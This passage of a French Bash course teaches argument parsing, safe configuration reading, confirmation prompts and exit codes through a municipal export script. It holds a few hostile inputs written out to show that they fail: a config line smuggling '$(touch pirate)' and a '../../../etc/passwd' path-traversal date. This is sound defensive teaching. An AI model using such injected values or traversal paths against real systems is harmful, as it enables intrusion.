mainqui décide d'arrêter le script, selon la règle de la leçon 6 : seulmainappellemourir.
Un essai avec un fichier malveillant :
$ cat essai.conf
# commentaire
DESTINATION=s3://sig-exports-mairie/essai
PATH=/tmp
X=$(touch pirate)
$ PUBLIER_EXPORT_CONFIG=essai.conf ./bin/publier-export -n -d 2026-10-07 > /dev/null
publier-export : attention : essai.conf:4 : clé inconnue « PATH », ignorée
publier-export : attention : essai.conf:5 : clé inconnue « X », ignorée
$ ls pirate
ls: cannot access 'pirate': No such file or directory
Les valeurs sont prises littéralement : pas de guillemets à retirer, pas de $ développé, pas d'espaces supprimées autour du =. Documentez ce format dans l'aide ou en commentaire en tête du fichier.
Assembler l'ordre de priorité
L'ordre de priorité devient l'ordre des lignes, au début de main :
# 1. Valeurs par défaut, 2. fichier, 3. environnement, 4. options.
date_export=$(date +%F)
destination=s3://sig-exports-mairie
simulation=0
lire_configuration "$CONFIGURATION" \
|| mourir -c "$EX_ERREUR" "configuration illisible : $CONFIGURATION"
destination=${PUBLIER_EXPORT_DESTINATION:-$destination}
analyser_options "$@"L'expansion ${PUBLIER_EXPORT_DESTINATION:-$destination} (leçon 3) garde la valeur courante si la variable est absente ou vide. analyser_options reçoit "$@", les arguments de main, donc ceux du script ; elle contient la boucle while/case vue plus haut et modifie les variables globales date_export, destination, simulation et VERBEUX.
Le nom de la variable d'environnement porte le préfixe du programme. À la leçon 6, le script acceptait encore DESTINATION et REPERTOIRE_EXPORTS pour faciliter les essais ; une variable d'environnement est héritée par tous les processus enfants, et un nom aussi générique que DESTINATION risquerait d'être défini par un autre outil, ou d'être hérité par erreur d'une session où on l'avait posée pour autre chose. On les remplace par PUBLIER_EXPORT_DESTINATION et PUBLIER_EXPORT_REPERTOIRE.
Le chemin du fichier de configuration lui-même peut être changé par PUBLIER_EXPORT_CONFIG. Avec PUBLIER_EXPORT_REPERTOIRE, cela sert surtout aux tests (leçon 12) : on pointe vers un fichier et un répertoire d'essai sans toucher à /etc ni à /srv.
Confirmer une action destructrice
publier-export ne détruit rien. purger-pieces-jointes, si : il supprime des photos, et une valeur de --jours mal tapée (--jours 3 au lieu de 365) effacerait presque tout. On lui ajoute une confirmation, avec deux règles tirées de clig.dev : ne jamais exiger une réponse interactive, et ne poser la question que s'il y a quelqu'un pour répondre.
confirmer() {
local reponse
[[ -t 0 ]] || return 1
read -r -p "$1 [o/N] " reponse
[[ $reponse == [oO] || $reponse == [oO][uU][iI] ]]
}
if (( ! oui )) && ! confirmer "Supprimer $nombre fichiers de plus de $jours jours ?"; then
mourir -c "$EX_USAGE" "abandon : relancez avec --oui pour confirmer sans question"
fi[[ -t 0 ]]vérifie que l'entrée standard est un terminal. Sous systemd ou cron, l'entrée standard est/dev/null: la fonction renvoie 1, la confirmation est refusée, le script s'arrête en expliquant quelle option utiliser.read -pn'affiche l'invite que si l'entrée vient d'un terminal, d'après le manuel de Bash, et l'écrit sur la sortie d'erreur (elle disparaît avec2>/dev/null, pas avec>/dev/null) : l'invite ne pollue pas une sortie standard redirigée.- La réponse par défaut, celle d'une simple touche Entrée, est non (le
Nmajuscule de[o/N]l'annonce). --oui(-y) permet l'usage non interactif, explicitement : l'unité systemd de la purge porteExecStart=... --oui, et cette option visible dans l'unité dit à qui la lit que la suppression est voulue.
$ ./bin/purger-pieces-jointes --jours 3 < /dev/null
purger-pieces-jointes : erreur : abandon : relancez avec --oui pour confirmer sans question
Combinée à --dry-run, qui liste ce qui serait supprimé, cette confirmation couvre l'essentiel des accidents.
publier-export après cette leçon
Voici le script complet. Il reprend la structure de la leçon 6 (fonctions, main, garde finale) et lui ajoute l'interface ; la gestion fine des erreurs viendra à la leçon 9, le verrou (code 5) à la leçon 10.
#!/usr/bin/env bash
# publier-export : dépose l'export CSV d'une journée dans le bucket de la mairie.
# État après la leçon 8 : interface complète ; set -euo pipefail viendra à la leçon 9, le verrou à la leçon 10.
REP_OUTILS=$(dirname -- "$(readlink -f -- "${BASH_SOURCE[0]}")")/..
# shellcheck source=../lib/commun.sh
source "$REP_OUTILS/lib/commun.sh" || {
printf 'publier-export : impossible de charger lib/commun.sh\n' >&2
exit 1
}
readonly VERSION=1.2.0
readonly EX_OK=0 EX_ERREUR=1 EX_USAGE=2 EX_EXPORT=3 EX_DEPOT=4 EX_VERROU=5
readonly CONFIGURATION=${PUBLIER_EXPORT_CONFIG:-/etc/signalements/publier-export.conf}
readonly REPERTOIRE_EXPORTS=${PUBLIER_EXPORT_REPERTOIRE:-/srv/donnees/exports}
readonly POINT_ACCES=https://s3.fr-par.scw.cloud
readonly ENTETE_ATTENDUE='id,type,commune,date'
usage() {
cat <<FIN
Usage : $NOM_OUTIL [OPTIONS]
Dépose l'export CSV d'une journée dans le bucket de la mairie,
avec son empreinte SHA-256.
Options :
-d, --date AAAA-MM-JJ journée à publier (défaut : aujourd'hui)
--destination URL préfixe S3 (défaut : $destination)
-n, --dry-run afficher les commandes, sans rien modifier
-v, --verbeux messages détaillés sur la sortie d'erreur
-h, --help afficher cette aide et sortir
--version afficher la version et sortir
Configuration : $CONFIGURATION (CLE=valeur : DESTINATION)
Environnement : PUBLIER_EXPORT_DESTINATION remplace la configuration.
Codes de sortie :
0 succès 3 export introuvable ou invalide
1 erreur générale 4 échec du dépôt
2 mauvaise utilisation 5 une autre exécution est en cours
Exemple :
$NOM_OUTIL --date 2026-10-07 --dry-run
FIN
}
erreur_usage() {
printf '%s : %s\n' "$NOM_OUTIL" "$*" >&2
printf "Essayez « %s --help » pour plus d'informations.\n" "$NOM_OUTIL" >&2
exit "$EX_USAGE"
}
exiger_valeur() {
(( $2 >= 2 )) || erreur_usage "l'option $1 attend une valeur"
}
lire_configuration() {
local fichier=$1 cle valeur n=0
[[ -e $fichier ]] || return 0
[[ -r $fichier ]] || return 1
while IFS='=' read -r cle valeur || [[ -n $cle ]]; do
n=$((n + 1))
[[ $cle =~ ^[[:space:]]*(#|$) ]] && continue
case $cle in
DESTINATION) destination=$valeur ;;
*) avertir "$fichier:$n : clé inconnue « $cle », ignorée" ;;
esac
done < "$fichier"
}
analyser_options() {
while (( $# > 0 )); do
case $1 in
-h|--help) usage; exit "$EX_OK" ;;
--version) printf '%s %s\n' "$NOM_OUTIL" "$VERSION"; exit "$EX_OK" ;;
-n|--dry-run) simulation=1 ;;
-v|--verbeux) VERBEUX=1 ;;
-d|--date) exiger_valeur "$1" "$#"; date_export=$2; shift ;;
--date=*) date_export=${1#*=} ;;
-d?*) date_export=${1#-d} ;;
--destination) exiger_valeur "$1" "$#"; destination=$2; shift ;;
--destination=*) destination=${1#*=} ;;
-[nvh]?*) set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
--) shift; break ;;
-?*) erreur_usage "option inconnue : $1" ;;
*) break ;;
esac
shift
done
(( $# == 0 )) || erreur_usage "argument inattendu : $1"
}
valider_parametres() {
[[ $date_export =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}$ ]] \
|| erreur_usage "date invalide : « $date_export » (attendu : AAAA-MM-JJ)"
date -d "$date_export" +%F > /dev/null 2>&1 \
|| erreur_usage "date inexistante : $date_export"
[[ $destination =~ ^s3://[a-z0-9][a-z0-9.-]*(/.*)?$ ]] \
|| erreur_usage "destination invalide : « $destination » (attendu : s3://bucket/...)"
destination=${destination%/}
}
executer() {
if (( simulation )); then
printf '%q ' "$@"
printf '\n'
else
deboguer "exécution : $*"
"$@"
fi
}
# verifier_export FICHIER : comme à la leçon 6.
verifier_export() {
local fichier=$1 entete lignes
if [[ ! -f $fichier ]]; then
avertir "export introuvable : $fichier"
return 1
fi
if [[ ! -s $fichier ]]; then
avertir "export vide : $fichier"
return 1
fi
IFS= read -r entete < "$fichier"
if [[ ${entete%$'\r'} != "$ENTETE_ATTENDUE" ]]; then
avertir "en-tête inattendu : $entete"
return 1
fi
lignes=$(wc -l < "$fichier")
if (( lignes < 2 )); then
avertir "aucune ligne de données dans $fichier"
return 1
fi
deboguer "$fichier : lignes de données : $((lignes - 1))"
}
# ecrire_empreinte ARCHIVE : écrit ARCHIVE.sha256, avec le seul nom du fichier.
ecrire_empreinte() {
(cd -- "${1%/*}" && sha256sum -- "${1##*/}" > "${1##*/}.sha256")
}
compresser() {
executer gzip --keep --force -- "$1" &&
executer ecrire_empreinte "$1.gz"
}
deposer() {
local fichier
for fichier in "$csv.gz" "$csv.gz.sha256"; do
executer "${aws_s3[@]}" "$fichier" "$destination/$annee/$mois/" || return 1
done
}
main() {
# 1. Valeurs par défaut, 2. fichier, 3. environnement, 4. options.
date_export=$(date +%F)
destination=s3://sig-exports-mairie
simulation=0
lire_configuration "$CONFIGURATION" \
|| mourir -c "$EX_ERREUR" "configuration illisible : $CONFIGURATION"
destination=${PUBLIER_EXPORT_DESTINATION:-$destination}
analyser_options "$@"
valider_parametres
exiger gzip sha256sum
(( simulation )) || exiger aws
csv=$REPERTOIRE_EXPORTS/signalements-$date_export.csv
annee=${date_export:0:4} mois=${date_export:5:2}
aws_s3=(aws s3 cp --only-show-errors --endpoint-url "$POINT_ACCES")
deboguer "date $date_export, destination $destination, simulation $simulation"
verifier_export "$csv" || mourir -c "$EX_EXPORT" "export invalide, rien n'est publié"
compresser "$csv" || mourir -c "$EX_ERREUR" "compression impossible : $csv"
deposer || mourir -c "$EX_DEPOT" "échec du dépôt vers $destination/$annee/$mois/"
if (( simulation )); then
journaliser "simulation : rien n'a été modifié"
else
journaliser "export du $date_export publié dans $destination/$annee/$mois/"
fi
}
if [[ ${BASH_SOURCE[0]} == "$0" ]]; then
main "$@"
exit
fiQuelques détails :
REP_OUTILS=$(...)reste une affectation simple, sansreadonlysur la même ligne : unreadonlyou unlocalcombiné à une substitution de commande masque le code de sortie de celle-ci, piège que la leçon 9 détaille. Lesreadonlyqui suivent ne contiennent que des expansions de paramètres, sans substitution.erreur_usageetmourirsont les deux seules fonctions qui terminent le script.erreur_usageest appelée pendant l'analyse, avant toute action, ce qui ne contredit pas la règle de la leçon 6 : elle fait partie de l'interface, pas du traitement.awsn'est exigé qu'en exécution réelle : une simulation doit pouvoir tourner sur un poste où l'outil n'est pas installé.- La version passe à 1.2.0 : l'interface change, mais les appels existants (sans argument, depuis le minuteur) continuent de fonctionner.
Pour l'essayer, reprenez le faux aws et le répertoire d'essai de la leçon 6, avec les nouveaux noms de variables :
$ export HORODATER=0 PATH="$PWD/faux:$PATH"
$ export PUBLIER_EXPORT_REPERTOIRE=$PWD/exports PUBLIER_EXPORT_CONFIG=/dev/null
$ bin/publier-export -d 2026-10-06; echo "code=$?"
publier-export : attention : export introuvable : /home/vous/essais/exports/signalements-2026-10-06.csv
publier-export : erreur : export invalide, rien n'est publié
code=3
$ bin/publier-export --dry; echo "code=$?"
publier-export : option inconnue : --dry
Essayez « publier-export --help » pour plus d'informations.
code=2
$ bin/publier-export --version
publier-export 1.2.0
Sous le capot
Ce que le noyau transmet
Quand le minuteur lance /opt/signalements/bin/publier-export --date 2026-10-07, systemd appelle execve(2) avec un tableau de chaînes, argv, terminé par un pointeur nul :
argv[0] = "/opt/signalements/bin/publier-export"
argv[1] = "--date"
argv[2] = "2026-10-07"
argv[3] = NULLLe fichier commence par #!/usr/bin/env bash : le noyau (leçon 1) lance en réalité /usr/bin/env avec les arguments bash, le chemin du script, puis les arguments d'origine à partir de argv[1]. env trouve bash dans le PATH et l'exécute ; Bash ouvre le script, range son chemin dans $0 et le reste dans $1, $2. Aucune notion d'option n'a traversé cette chaîne : seulement des chaînes, sans guillemets. C'est pourquoi un script ne peut jamais savoir si l'appelant avait écrit 'essai mairie' ou essai\ mairie : les deux donnent la même chaîne.
Ce tableau a des limites. D'après execve(2), sous Linux, la taille totale des arguments et de l'environnement est bornée au quart de la limite de pile (ulimit -s, 8 Mio par défaut, d'où les 2 Mio que renvoie getconf ARG_MAX), et chaque chaîne est limitée à 32 pages (128 Kio avec des pages de 4 Kio). Au-delà, execve échoue avec E2BIG, que le shell affiche comme Argument list too long. Ce n'est pas un souci pour quelques options, mais c'en est un pour rm /srv/donnees/pieces-jointes/* sur cent mille fichiers : la leçon 5 et la leçon 11 passent par find et xargs pour cette raison.
Les arguments sont publics
Le noyau garde une copie de argv dans la mémoire du processus, et l'expose dans /proc/<pid>/cmdline, que la page proc_pid_cmdline(5) décrit comme une suite de chaînes séparées par des octets nuls. Par défaut, ce fichier est lisible par tous les comptes de la machine : c'est là que ps et top lisent les lignes de commande.
$ cat essai-cmdline.sh
sleep 1 &
tr '\0' ' ' < /proc/$$/cmdline; echo
wait
$ bash essai-cmdline.sh --cle-api=s3cr3t
bash essai-cmdline.sh --cle-api=s3cr3t
Un mot de passe passé en option est donc visible de tout compte local pendant toute la durée du script, et il est aussi écrit dans l'historique du shell de l'appelant et, pour un service, dans l'unité systemd et le journal (systemctl status affiche la ligne de commande). Le montage de /proc avec l'option hidepid= restreint cette visibilité, mais ne corrige pas l'historique ni le journal. La section Sécurité en tire les conséquences.
Ce que retient getopts entre deux appels
getopts n'a pas de mémoire visible autre qu'OPTIND. Pourtant, il sait reprendre au milieu d'un groupe comme -nv. Observons OPTIND à chaque tour :
$ cat essai-optind.sh
while getopts ':nvd:' o; do echo "o=$o OPTARG=${OPTARG-} OPTIND=$OPTIND"; done
$ bash essai-optind.sh -nv -d 2026-10-07 reste
o=n OPTARG= OPTIND=1
o=v OPTARG= OPTIND=2
o=d OPTARG=2026-10-07 OPTIND=4
Après -n, OPTIND vaut encore 1 : le premier argument n'est pas fini. Bash garde, dans une variable interne, la position dans l'argument courant. Après -v, l'argument est épuisé et OPTIND passe à 2. Après -d, qui a consommé sa valeur, il saute à 4, l'indice de reste. D'où le shift "$((OPTIND - 1))" : il retire les trois arguments déjà traités. Et d'où le piège des fonctions : tant que personne ne remet OPTIND à 1, getopts croit avoir déjà tout lu. Affecter OPTIND=1 réinitialise aussi la position interne ; c'est la manière documentée de recommencer.
Le code de sortie, un octet
Quand un processus se termine, le noyau ne conserve pour son parent que l'octet de poids faible de la valeur passée à exit : c'est ce que waitpid(2) restitue par WEXITSTATUS. D'où le modulo 256 :
$ for c in 256 300 -1; do bash -c "exit $c"; echo "exit $c donne $?"; done
exit 256 donne 0
exit 300 donne 44
exit -1 donne 255
Un script qui calcule son code (exit $nombre_erreurs) peut donc renvoyer 0 après 256 erreurs. Ne renvoyez que des constantes.
Quand le processus est tué par un signal, il n'y a pas de code de sortie du tout ; c'est le shell qui fabrique 128 + N pour l'afficher dans $?. systemd, lui, distingue les deux cas (status=143 contre signal=TERM) dans systemctl status.
Pièges courants
$10 au lieu de ${10}. Vaut $1 suivi de 0. ShellCheck le signale (SC1037).
Un shift de trop. shift 2 quand il ne reste qu'un argument ne fait rien et renvoie 1 : la boucle peut tourner sans fin sur la même option. Vérifiez $# avant de lire une valeur.
getopts et les options longues. --date=x n'est pas refusée, elle est découpée en - et -d avec la valeur ate=x. Ne mélangez pas getopts avec des options longues.
OPTIND dans une fonction. Sans local OPTIND=1, le second appel ne voit aucune option.
Les options après un opérande. getopts et la boucle de cette leçon s'arrêtent au premier opérande : publier-export reste -n ne simule pas. Documentez-le, ou accumulez les opérandes dans un tableau pour continuer.
Une valeur qui ressemble à une option. -d -n affecte -n à la date. Ce n'est pas un défaut de l'analyse (une valeur peut légitimement commencer par un tiret) : c'est la validation qui doit le rattraper.
L'aide sur la sortie d'erreur, ou l'erreur sur la sortie standard. --help demandé : stdout, code 0. Erreur d'usage : stderr, code 2. L'inverse casse --help | less et cache les erreurs dans les tubes.
Un code de sortie calculé. exit $erreurs renvoie 0 pour 256 erreurs. exit 300 renvoie 44.
La confirmation qui bloque un service. Un read sans test de terminal lit /dev/null sous systemd : réponse vide. Si la réponse vide vaut « oui », la purge part sans confirmation ; si read lisait un tube jamais fermé, le service resterait suspendu jusqu'à son délai. Testez [[ -t 0 ]] et refusez par défaut.
source d'un fichier de configuration. C'est exécuter du code. Une faute de syntaxe y fait échouer le script, une ligne malveillante s'exécute avec ses droits.
Des espaces autour du =. Avec la lecture de cette leçon, DESTINATION = s3://x donne une clé DESTINATION (avec espace), inconnue, donc un avertissement. C'est voulu, mais documentez le format.
Oublier le -c de mourir. mourir "$EX_DEPOT" "échec du dépôt" ne sort pas avec 4 : sans -c, tous les arguments forment le message (erreur : 4 échec du dépôt) et le code est 1. Le message trahit l'erreur dans le journal, mais SuccessExitStatus= et les alertes qui comptent sur le code ne voient qu'une erreur générale. Un test par code de sortie (leçon 12) l'attrape.
Le ? non échappé dans le case de getopts. ?) correspond à toute option d'un caractère : écrivez \?) ou '?').
Sécurité
- Aucun secret en argument. Les arguments sont lisibles par tous dans
/proc/<pid>/cmdlineetps, conservés dans l'historique du shell, dans les unités systemd et leurs journaux, dans les traces de CI. clig.dev le dit sans détour : ne pas lire de secret depuis une option. Un script qui a besoin d'une clé d'API la lit dans un fichier aux droits restreints (--fichier-cle /etc/signalements/s3.cle, en0600), sur l'entrée standard, ou par les credentials de systemd (LoadCredential=, qui place le fichier dans$CREDENTIALS_DIRECTORY). Les variables d'environnement valent mieux qu'une option, mais elles sont héritées par tous les processus enfants et visibles dans/proc/<pid>/environdu même compte : clig.dev les déconseille aussi pour les secrets. - Valider chaque valeur avant de s'en servir. La date de
publier-exportsert à construire un chemin : sans l'expression régulière,--date ../../../etc/passwdferait lire un tout autre fichier. Validez par liste blanche (une forme attendue), pas par liste noire (des caractères interdits), et faites-le avant toute action. - Ne jamais exécuter la configuration. Pas de
sourcesur un fichier qu'un autre compte peut modifier, ni d'evalsur une valeur. Si vous devez vraimentsourceun fichier (configuration écrite par vous seul), vérifiez qu'il appartient à root et n'est pas modifiable par d'autres (stat -c '%U %a'), et documentez-le. evalseulement sur la sortie degetopt. C'est l'exception, parce quegetoptcite sa sortie. Toute autre construction à base d'evalsur des arguments est une injection de commande en attente.--avant des valeurs venues de l'utilisateur. Quand le script passe une valeur à une autre commande (rm -- "$fichier",grep -- "$motif"), le--empêche qu'une valeur commençant par un tiret soit prise pour une option de cette commande (leçon 2).- Les destructions exigent une intention explicite.
--ouidans l'unité, confirmation interactive sinon, refus par défaut. Une option qui affaiblit une protection (--force,--oui) n'a pas de forme courte facile à taper par erreur, ou alors une forme distincte. - Les variables d'environnement du script font partie de sa surface.
PUBLIER_EXPORT_DESTINATIONchange le bucket de destination ; soussudo, l'environnement est filtré parenv_reset(leçon 7 de Premiers pas), mais un script lancé par un autre compte hérite du sien. Validez la valeur comme une option.
En production
- L'unité systemd écrit les options en entier.
ExecStart=/opt/signalements/bin/publier-export --verbeuxse lit sans manuel ;-voblige à chercher. Les formes courtes sont pour le clavier, les longues pour les fichiers. - Les codes de sortie guident la réaction. systemd considère tout code non nul comme un échec et déclenche
OnFailure=(leçon 10 du cours d'administration). Un code qui ne mérite pas d'alerte peut être déclaré comme succès :SuccessExitStatus=5dans[Service]fait accepter le code 5 (« une autre exécution est en cours ») sans réveiller l'astreinte. Le service de notification déclenché parOnFailure=reçoit le code dans la variable$MONITOR_EXIT_STATUS(systemd.exec(5)), et peut adapter son message : « export absent » pour 3, « dépôt en échec » pour 4. Attention aux noms que systemd affiche à côté des codes. Dans le journal, le message de fin du processus nomme les petits codes d'après la convention LSB des scripts d'init :Main process exited, code=exited, status=3/NOTIMPLEMENTED,status=4/NOPERMISSION,status=2/INVALIDARGUMENT; les codes 64 à 78 y reçoivent leur nom desysexits.h(status=64/USAGE). La ligneMain PID:desystemctl status, elle, n'affiche questatus=3. Ces noms ne disent rien de votre table : c'est le message demourir, dans le journal, qui fait foi. - Une interface commune à tous les scripts de l'équipe.
-n/--dry-run,-v/--verbeux,-h/--help,--version,--ouipour les destructions, codes 0, 1 et 2 identiques : la personne d'astreinte n'a qu'une grammaire à connaître. Les fonctions d'interface (erreur_usage,exiger_valeur,executer,confirmer) rejoindrontlib/commun.shdès qu'un deuxième script en aura besoin, commejournaliserà la leçon 6. - L'aide est le contrat, les tests le vérifient. Changer le sens d'une option ou d'un code de sortie casse les unités, les alertes, les autres scripts. On le traite comme un changement d'API : nouvelle version majeure, note dans le journal des changements du dépôt. La leçon 12 écrit des tests Bats sur chaque code de sortie.
- La simulation en intégration continue.
publier-export --dry-runavec un faux répertoire d'exports et un faux fichier de configuration permet de tester toute la logique sans bucket, et de comparer la liste des commandes à une référence. - Savoir s'arrêter. Quand l'interface demande des sous-commandes (
signalements export publier,signalements export lister), des options mutuellement exclusives, des valeurs typées ou une aide générée, l'analyse en Bash devient le plus gros morceau du script. C'est le signal pour passer à Python etargparse, ou à Go ; les critères sont détaillés à la leçon 12.
Exercices
1. Lire les paramètres (niveau 100). Un script contient printf '%s|%s|%s|%s\n' "$#" "$1" "${10}" "$10". Qu'affiche-t-il quand on le lance avec ./s un "deux trois" 3 4 5 6 7 8 9 dix onze ? Et après un shift 2 placé avant le printf ?
Solution
Sans shift : 11|un|dix|un0. Il y a onze arguments, "deux trois" en est un seul grâce aux guillemets ; ${10} est dix ; $10 est $1 suivi de 0, donc un0.
Avec shift 2 : 9|3|<vide>|30. Les deux premiers sont retirés, il en reste neuf ; $1 vaut 3 ; il n'y a plus de dixième argument, ${10} est vide ; $10 vaut 30.
2. getopts pour verifier-sante (niveau 100). verifier-sante doit accepter -t SECONDES (délai, 5 par défaut), -q (silencieux) et -h, puis une liste d'hôtes en opérandes (sig-app-1 sig-app-2 par défaut). Écrivez la boucle getopts en mode silencieux, avec un message en français et le code 2 pour une option inconnue ou une valeur manquante.
Solution
delai=5 silencieux=0
while getopts ':t:qh' option; do
case $option in
t) delai=$OPTARG ;;
q) silencieux=1 ;;
h) usage; exit 0 ;;
:) printf "%s : l'option -%s attend une valeur\n" "$NOM_OUTIL" "$OPTARG" >&2; exit 2 ;;
\?) printf '%s : option inconnue : -%s\n' "$NOM_OUTIL" "$OPTARG" >&2; exit 2 ;;
esac
done
shift "$((OPTIND - 1))"
[[ $delai =~ ^[1-9][0-9]*$ ]] || { printf '%s : délai invalide : %s\n' "$NOM_OUTIL" "$delai" >&2; exit 2; }
if (( $# == 0 )); then
set -- sig-app-1 sig-app-2
fiLe : initial active le mode silencieux, t: déclare la valeur. Le set -- final remplace les opérandes absents par la liste par défaut, ce qui permet d'écrire ensuite une seule boucle for hote in "$@". Le message de la branche : est plus lisible avec erreur_usage de la leçon, s'il est disponible : erreur_usage "l'option -$OPTARG attend une valeur".
3. Trouver les défauts (niveau 200). Voici l'analyse des options d'un ancien script de déploiement. Trouvez au moins cinq défauts et corrigez-les.
while [ -n "$1" ]; do
case $1 in
-e|--env) ENV=$2; shift 2 ;;
--env=*) ENV=${1#*=} ;;
-f) FORCE=1 ;;
-h) echo "usage: deployer [-e env] [-f]" >&2; exit 1 ;;
*) echo "option inconnue" ;;
esac
shift
doneSolution
while [ -n "$1" ]s'arrête sur un argument vide (deployer "" -f), ce qui n'est pas la fin des arguments : testez(( $# > 0 )).shift 2puisshift: la branche-eretire trois arguments. Et si la valeur manque,shift 2échoue sans rien retirer, puis leshiftdu bas retire-e:ENVest vide sans erreur. Écrivezexiger_valeur "$1" "$#"; ENV=$2; shift.- L'aide va sur la sortie d'erreur avec le code 1 : elle doit aller sur la sortie standard avec 0.
--helpn'est pas reconnu. - L'option inconnue affiche un message sur la sortie standard, sans nom de programme ni valeur, puis continue : le script se déploie avec une option ignorée (un
--dry-runmal orthographié, par exemple). Sortez avec 2 surstderr. - Pas de
--, pas de gestion des opérandes :*)traite comme option inconnue tout opérande. - Aucune validation de
ENV(liste blanche :recette|production), alors que la valeur sert probablement à choisir des machines ou un fichier. -fsans forme longue pour une option qui affaiblit une protection : préférez--forceseule, visible dans les unités et l'historique.- Variables en majuscules pour un usage interne : risque de collision avec l'environnement (
ENVest justement lue par certains shells au démarrage).
4. Une interface pour la purge (niveau 200). Donnez à purger-pieces-jointes les options -j/--jours N (365 par défaut, entier de 30 à 3650), -n/--dry-run, -y/--oui, -h/--help. La valeur de --jours peut aussi venir de RETENTION_JOURS dans /etc/signalements/purge.conf. Sans --oui, le script demande confirmation s'il y a un terminal, et refuse sinon. Écrivez l'analyse, la lecture de configuration et la confirmation, puis indiquez la ligne ExecStart= de l'unité systemd.
Solution
jours=365 simulation=0 oui=0
lire_configuration /etc/signalements/purge.conf # comme dans la leçon, clé RETENTION_JOURS -> jours
while (( $# > 0 )); do
case $1 in
-h|--help) usage; exit 0 ;;
-n|--dry-run) simulation=1 ;;
-y|--oui) oui=1 ;;
-j|--jours) exiger_valeur "$1" "$#"; jours=$2; shift ;;
--jours=*) jours=${1#*=} ;;
-j?*) jours=${1#-j} ;;
-[nyh]?*) set -- "${1:0:2}" "-${1:2}" "${@:2}"; continue ;;
--) shift; break ;;
-?*) erreur_usage "option inconnue : $1" ;;
*) break ;;
esac
shift
done
(( $# == 0 )) || erreur_usage "argument inattendu : $1"
if ! [[ $jours =~ ^[0-9]+$ ]] || (( 10#$jours < 30 || 10#$jours > 3650 )); then
erreur_usage "--jours attend un entier entre 30 et 3650, pas « $jours »"
fi
jours=$((10#$jours))
# ... calcul de la liste des fichiers, $nombre ...
if (( ! simulation && ! oui )) && ! confirmer "Supprimer $nombre fichiers de plus de $jours jours ?"; then
mourir -c 2 "abandon : relancez avec --oui pour confirmer sans question"
fiL'expression régulière est testée avant l'arithmétique : (( )) sur une chaîne arbitraire l'évaluerait comme une expression (leçon 3). Le 10# évite qu'une valeur comme 0400 soit lue en octal. La borne basse de 30 jours rend impossible la faute de frappe --jours 3. En simulation, on ne demande pas de confirmation : rien n'est supprimé. L'unité : ExecStart=/opt/signalements/bin/purger-pieces-jointes --oui, la durée venant du fichier de configuration, ou --jours 365 --oui si l'on préfère la voir dans l'unité.
5. Codes de sortie et systemd (niveau 200). L'unité signalements-publication.service lance publier-export --verbeux chaque nuit, avec OnFailure=notifier-echec@%n.service. L'équipe veut : pas d'alerte quand une autre exécution est en cours (code 5) ; une alerte quand l'export est absent (3) ou que le dépôt échoue (4) ; et savoir, en lisant systemctl status, quel cas s'est produit. Que mettez-vous dans l'unité et dans le script ? Que se passerait-il si le script terminait par exit $erreurs, le nombre de fichiers non déposés ?
Solution
Dans [Service] : SuccessExitStatus=5. D'après systemd.service(5), les codes listés sont considérés comme une terminaison réussie, en plus de 0 ; OnFailure= n'est donc pas déclenché pour 5, mais l'est pour 3 et 4. Le journal de l'unité contient Main process exited, code=exited, status=3/NOTIMPLEMENTED ou status=4/NOPERMISSION (noms LSB que systemd donne à ces nombres, sans rapport avec votre table ; la ligne Main PID: de systemctl status n'affiche que le nombre), le service de notification reçoit le nombre dans $MONITOR_EXIT_STATUS, et le message de mourir (« export introuvable ou vide : ... ») est dans le journal de l'unité, puisque la sortie d'erreur y va. Côté script, rien à changer, sinon s'assurer que chaque cas sort avec sa constante (mourir -c "$EX_EXPORT" ...).
Avec exit $erreurs : 0 erreur donne bien 0, mais deux fichiers non déposés donnent 2, confondu avec une erreur d'usage, et 256 erreurs donneraient 0, un succès. Un code de sortie doit être une constante documentée, jamais un compteur ; le compteur va dans un message.
Récapitulatif
- Un script reçoit une liste de chaînes :
$0,$1...${10},$#,"$@".shiftles consomme,set --les remplace ; vérifiez$#avant de lire une valeur. - POSIX : options d'une lettre, groupables, avant les opérandes,
--pour terminer. GNU ajoute--longet--long=valeur. getopts: interne et portable, options courtes seulement ; mode silencieux (:initial) pour écrire ses messages ;shift "$((OPTIND - 1))"après la boucle ;local OPTIND=1dans une fonction ; il découpe--date=xau lieu de le refuser.- La boucle
while (( $# > 0 )); case $1 in: options longues et courtes,--opt valeur,--opt=valeur, groupes réécrits parset --,--, inconnue = erreur d'usage. C'est le choix par défaut pour un outil d'équipe. getoptd'util-linux : options longues et réordonnancement, au prix d'eval, d'abréviations et de la portabilité.- Valider chaque valeur après l'analyse, par liste blanche ; une valeur invalide est une erreur d'usage.
- Contrat :
-h/--helpsurstdoutavec 0 ; erreur d'usage d'une ligne surstderravec 2 ;--version; table de codes documentée (0, 1, 2, puis vos cas), jamais calculée, jamais au-dessus de 125. - Données sur
stdout, messages surstderr; couleurs seulement si[[ -t 2 ]],NO_COLORvide etTERMdifférent dedumb. - Priorité : défauts < fichier < environnement < options, dans l'ordre des affectations. Le fichier se lit, il ne s'exécute pas.
- Simulation par une fonction
executerunique ; confirmation seulement devant un terminal, refusée par défaut, contournable par--ouiexplicite. - Jamais de secret en argument :
/proc/<pid>/cmdlineest lisible par tous.
Pour aller plus loin
- Le chapitre 12 des Base Definitions de POSIX, Utility Conventions, court, et la page
getoptsde la norme, qui fixe précisément le comportement d'OPTINDet du mode silencieux. - La page de Greg Wooledge, BashFAQ/035, et sa suite ComplexOptionParsing, pour les variantes de la boucle à la main.
- Command Line Interface Guidelines, un guide complet et argumenté sur l'aide, les sorties, les erreurs, la configuration et les confirmations ; il vise surtout les outils compilés, mais presque tout s'applique aux scripts.
- La page
getopt(1)d'util-linux et les exemples installés dans/usr/share/doc/util-linux/examples/, si vous reprenez un script qui l'utilise. - La page
sysexits.h(3head), pour connaître les codes que d'autres outils utilisent. - La leçon suivante, Gérer les erreurs, qui fait respecter cette table de codes jusque dans les cas où une commande échoue sans prévenir.
Sources
- GNU Bash Reference Manual : Bourne Shell Builtins (getopts, shift)
- GNU Bash Reference Manual : Exit Status
- GNU Bash Reference Manual : Bash Builtins (read -p)
- POSIX.1-2024, getopts
- POSIX.1-2024, Base Definitions, chapitre 12 : Utility Conventions (12.1 et 12.2, Utility Syntax Guidelines)
- util-linux, page de manuel getopt(1)
- Linux man-pages, sysexits.h(3head)
- Linux man-pages, execve(2), section Limits on size of arguments and environment
- Linux man-pages, proc_pid_cmdline(5)
- Greg's Wiki, BashFAQ/035 : How can I handle command-line options and arguments in my script easily?
- Command Line Interface Guidelines (clig.dev)
- NO_COLOR, proposition de convention
